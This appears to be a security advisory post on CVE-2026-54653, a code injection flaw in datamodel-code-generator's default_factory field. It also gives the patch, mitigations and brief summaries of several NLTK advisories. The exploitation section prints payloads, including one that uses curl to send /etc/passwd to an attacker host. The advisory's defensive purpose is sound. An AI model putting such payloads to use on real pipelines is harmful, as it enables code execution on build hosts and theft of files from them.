Jul 29, 2026·7 min read·26 visits
Unsanitized rendering of the 'default_factory' schema parameter allows unauthenticated remote attackers to inject arbitrary Python expressions, resulting in automatic code execution when downstream applications import the generated code.
A critical code injection vulnerability exists in datamodel-code-generator from version 0.17.0 up to 0.60.1. The vulnerability allows remote attackers who supply a malicious JSON schema to execute arbitrary Python code. This occurs when the schema specifies a payload inside the 'default_factory' field extra, which is rendered directly into generated code without sanitization. When downstream processes load or import the output code, the evaluation of the class definition immediately triggers the execution of the injected code.
The datamodel-code-generator library is a widely utilized Python package developed by koxudaxi. It automates the generation of Pydantic models, Python standard dataclasses, and TypedDicts from input schemas such as OpenAPI and JSON Schema. This code generation mechanism is frequently integrated into automated pipelines, API client scaffolding tools, and dynamic validation interfaces where schema files are processed dynamically.\n\nCVE-2026-54653 (and GHSA-386q-5hp3-95m9) represents a critical code injection vulnerability within this processing chain. The vulnerability exists from version 0.17.0 up to 0.60.1. An attacker who is able to supply or modify a schema file used for code generation can insert malicious Python instructions that are executed automatically.\n\nThe vulnerability originates from the processing of custom field attributes, specifically the default_factory parameter. Under standard usage, default_factory is intended to specify a callable (such as list or dict) to produce dynamic default values for fields. However, the parser directly passes untrusted string inputs into the generated template output, bypassing necessary sanitization and escaping controls.\n\nWhen an application subsequently imports or runs the compiled Python output files, the Python interpreter parses the class attributes at module load-time. This forces immediate evaluation of the expressions specified in the default_factory parameters. Consequently, arbitrary code execution is triggered immediately without necessitating any instance initialization of the generated model classes.
The root cause of this vulnerability lies in the improper neutralization of special elements within the template rendering engine (CWE-1336), leading to code injection (CWE-94). During schema parsing, the component src/datamodel_code_generator/parser/jsonschema.py identifies attributes that correspond to Pydantic or standard Python fields. The parser uses a mapping function named get_field_extras to capture metadata fields such as default_factory from the schema object.\n\nIn the vulnerable codebase versions, any user-supplied string designated as a default_factory is treated as a safe literal. It is parsed and written into the target templates without being formatted via repr() or undergoing syntactic verification. The library formats these fields into standard declaration strings like Field(default_factory=val) using simple string formatting or Jinja2 template bindings.\n\nPython's syntax rules dictate that when a class is imported, the class-level declarations are executed sequentially to construct the class namespace. Because the generator does not wrap the untrusted default_factory string in quotes or restrict it to safe pre-defined callable patterns, the target script is written with raw code sequences as arguments.\n\nTo trigger this condition, an attacker simply needs to supply a JSON schema containing the default_factory attribute on any property definition. The value must contain valid Python code. The code generator parses the JSON schema structure without validation and writes the raw payload into the output file, transitioning a static JSON-based vulnerability into a dynamic Python execution context.
The vulnerable processing pipeline compiles schema fields without verifying if the inputs map to valid, safe callables. The extraction of fields occurs within jsonschema.py. The function get_field_extras collects additional JSON schema attributes and populates a dictionary returned to the code generator's model writer.\n\npython\n# Vulnerable implementation in get_field_extras\ndef get_field_extras(self, obj: JsonSchemaObject) -> dict[str, Any]:\n extras = {}\n # ... (extracts other metadata keys)\n if self.default_field_extras:\n extras.update(self.default_field_extras)\n # Vulnerable: default_factory is directly passed from the raw JSON object 'obj'\n # without checking if it contains arbitrary Python expressions.\n return extras\n\n\nThe lack of validation means that an input schema defining \"default_factory\": \"__import__('os').system('id')\" will pass this exact string directly to the template file writer. The resulting output class contains the dangerous expression directly inside the field definition, which executes upon import.\n\nThe fix introduced in version 0.60.2 introduces the helper function _validate_default_factory to restrict the input explicitly. The modification enforces a strict whitelist containing only standard Python callables that are safe for instantiation defaults.\n\npython\n# Patched code in src/datamodel_code_generator/parser/jsonschema.py\nALLOWED_DEFAULT_FACTORIES: frozenset[str] = frozenset({\"dict\", \"list\", \"set\"})\n\ndef _validate_default_factory(default_factory: Any) -> str:\n # Enforce strict type check and exact matching against the whitelist\n if isinstance(default_factory, str) and default_factory in ALLOWED_DEFAULT_FACTORIES:\n return default_factory\n allowed_values = \", \".join(sorted(ALLOWED_DEFAULT_FACTORIES))\n msg = f\"default_factory must be one of: {allowed_values}\"\n raise Error(msg)\n\n\nBy integrating this check within get_field_extras using extras[\"default_factory\"] = _validate_default_factory(default_factory), any input that does not strictly match \"dict\", \"list\", or \"set\" causes an instant termination of the compilation process. This prevents the generation of a malicious output file entirely.
Exploitation of CVE-2026-54653 requires that the victim or an automated background system compile a malicious schema, and subsequently load the compiled module. The primary prerequisite is that the input schema must be sourced from an unverified or user-controlled location.\n\nmermaid\ngraph LR\n A[\"Attacker Schema\"] -- \"default_factory payload\" --> B[\"datamodel-code-generator\"]\n B -- \"Direct Interpolation\" --> C[\"generated_model.py\"]\n C -- \"Import Statement\" --> D[\"Python Interpreter\"]\n D -- \"Definition Evaluation\" --> E[\"Arbitrary Command Execution\"]\n\n\nAn attacker constructs a payload targeting the default_factory parameter within a property block. The injected Python code must execute an action and then safely evaluate to a valid value or a fallback callable (such as returning list or dict) to ensure that the python parser doesn't crash during evaluation. For example, using __import__('os').system('curl -F d=@/etc/passwd http://attacker.com') or list achieves remote execution while maintaining valid syntax.\n\nWhen the code generator is executed against the malicious file, it outputs a Python file that looks structurally identical to a standard model file, but with the active payload embedded. Since there is no syntax validation during output generation, the file writes successfully.\n\nThe execution phase triggers automatically when a downstream worker imports the module. In standard microservice architectures, models are generated dynamically and imported into a router or validator script. Because class attributes evaluate immediately upon import, the code executes under the privilege level of the importing process.
The impact of successful exploitation is critical, leading to full host compromise under the security context of the executing user. Since Python code generation is often executed on build servers, CI/CD runners, or web servers with elevated privileges, the execution scope can span broad environments.\n\nThe CVSS v3.1 score is evaluated at 8.8 (High) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H. The network vector is applicable since the malicious schema files can be delivered via HTTP requests, API uploads, or webhook integrations. The requirement for user interaction is limited to the pipeline trigger or the backend dynamic import command executing the output file.\n\nOnce code execution is obtained, the attacker can access sensitive environment variables, read system configuration secrets, communicate with metadata services on cloud providers (such as IMDSv2 to retrieve IAM credentials), and pivot into adjacent Kubernetes namespaces or private networks.\n\nThis vulnerability represents a significant supply chain threat for development operations. The silent nature of the code execution during standard python imports makes it difficult to detect with traditional runtime behavior monitoring unless strict network-egress filters or system call anomaly detectors are in place.
The definitive remediation for CVE-2026-54653 is upgrading the datamodel-code-generator library to version 0.60.2 or greater. The update introduces the verification logic that stops compilation if an unauthorized default_factory pattern is detected.\n\nFor deployments where immediate library upgrade is not possible, organizations should implement strict validation wrappers around the schema compilation process. A pre-parser script can validate the JSON input by evaluating all instances of the key default_factory and raising an error if the value is not inside the strict allowed set [\"list\", \"dict\", \"set\"].\n\njson\n// Defensive regex-based input verification step\n\"default_factory\"\\s*:\\s*\"(?!(dict|list|set)\")([^\"]+)\"\n\n\nFurthermore, pipelines performing automated source code compilation from external sources must run within isolated, unprivileged execution runtimes. Restricting container capabilities, executing code generation as a non-root user, and using read-only root filesystems except for designated scratch directories will mitigate the impact of host compromise.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
datamodel-code-generator koxudaxi | >= 0.17.0, < 0.60.2 | 0.60.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-94 |
| Attack Vector | Network (AV:N) |
| CVSS Score | 8.8 |
| Exploit Status | Proof-of-Concept |
| Impact | Arbitrary Code Execution (RCE) |
| CISA KEV Status | Not Listed |
The product constructs code segments using externally-influenced input without neutralizing special elements, allowing modifications of execution flow when evaluated by downstream processes.
CVE-2026-126298 (also tracked as GHSA-r53h-rw34-8h97) is an algorithmic complexity Denial of Service (DoS) vulnerability in the Natural Language Toolkit (NLTK) Python library affecting all versions prior to 3.10.4. The vulnerability resides in the nltk.tree.transforms.chomsky_normal_form function and its corresponding public method Tree.chomsky_normal_form(). When transforming a parse tree into Chomsky Normal Form using the default right-factoring strategy, the function repeatedly invokes list.pop(0) inside a loop iterating over all children of a node. In CPython, removing the initial element of a standard list requires an O(N) memory shift operation, causing the overall binarization algorithm to degrade to O(N^2) quadratic time complexity relative to the width of a node. Furthermore, converting horizontal node width into vertical tree depth bypasses initial parsing depth bounds, triggering subsequent stack exhaustion (RecursionError) when recursive methods traverse the mutated structure. Unauthenticated remote attackers who can submit bracketed tree strings to applications invoking this transformation can exhaust single-threaded CPU resources or induce unhandled application exceptions.
An algorithmic complexity vulnerability (CWE-407) in the Natural Language Toolkit (NLTK) before version 3.10.4 allows remote unauthenticated attackers to cause a denial of service via crafted Combinatory Categorial Grammar (CCG) lexicon strings. The parser in nltk.ccg.lexicon.fromstring performs repeated immutable string slicing, concatenation, and regex tail capturing, resulting in O(n^2) CPU consumption when processing wide, flat category definitions.
CVE-2026-126295 (also tracked as GHSA-fg9w-wfp5-j933) is a path confinement bypass vulnerability in the Natural Language Toolkit (NLTK) affecting versions 3.10.0 prior to 3.10.4. The flaw resides in nltk/parse/bllip.py within the BllipParser class and its factory method BllipParser.from_unified_model_dir(). Unlike sibling tool wrappers in NLTK that enforce data-root confinement via the nltk.pathsec module, BllipParser passes caller-supplied filesystem paths directly into the third-party bllipparser native C extension without validation. When an application passes untrusted input as model paths or directories to BllipParser, an attacker can force the native extension to open arbitrary files on the local filesystem. This leads to information disclosure through parser diagnostic oracles, local model tampering via shared directories, and denial of service by hanging worker threads on blocking special files (such as FIFOs or device nodes) or exhausting memory via oversized files.
CVE-2026-126300 (GHSA-ffr9-mgrr-wcvr) is an inefficient algorithmic complexity vulnerability (CWE-407) in the Natural Language Toolkit (NLTK) Python library affecting versions 3.2.5 prior to 3.10.4. The flaw resides in the quote-restoration routine of TreebankWordTokenizer.span_tokenize and NLTKWordTokenizer.span_tokenize, where repeated calls to list.pop(0) over matched quote tokens introduce quadratic O(n^2) time complexity. An unauthenticated remote attacker who supplies input containing long sequences of double-quote characters can exhaust CPU resources and degrade service availability.
The Natural Language Toolkit (NLTK) versions 3.6 through 3.10.3 contain an algorithmic complexity vulnerability in the LegalitySyllableTokenizer.tokenize method. When processing tokens composed of continuous runs of vowels, an unguarded string reversal and set membership lookup loop executes in quadratic time relative to the input token length. Remote attackers capable of submitting arbitrary text to applications utilizing this tokenizer can trigger sustained single-core CPU exhaustion and application-level denial of service.
CVE-2026-126304 is a symlink path traversal vulnerability (CWE-59) in the Natural Language Toolkit (NLTK) versions 3.10.0 prior to 3.10.4. The YCOECorpusReader class constructs internal sub-readers for the 'psd' and 'pos' subdirectories using FileSystemPathPointer.join(), which relies exclusively on lexical string-prefix validation rather than canonical path resolution. An attacker who supplies a crafted YCOE corpus containing symbolic links in place of the 'psd' or 'pos' subdirectories can bypass directory confinement and read arbitrary files from sibling corpora or sensitive directories within the NLTK data sandbox.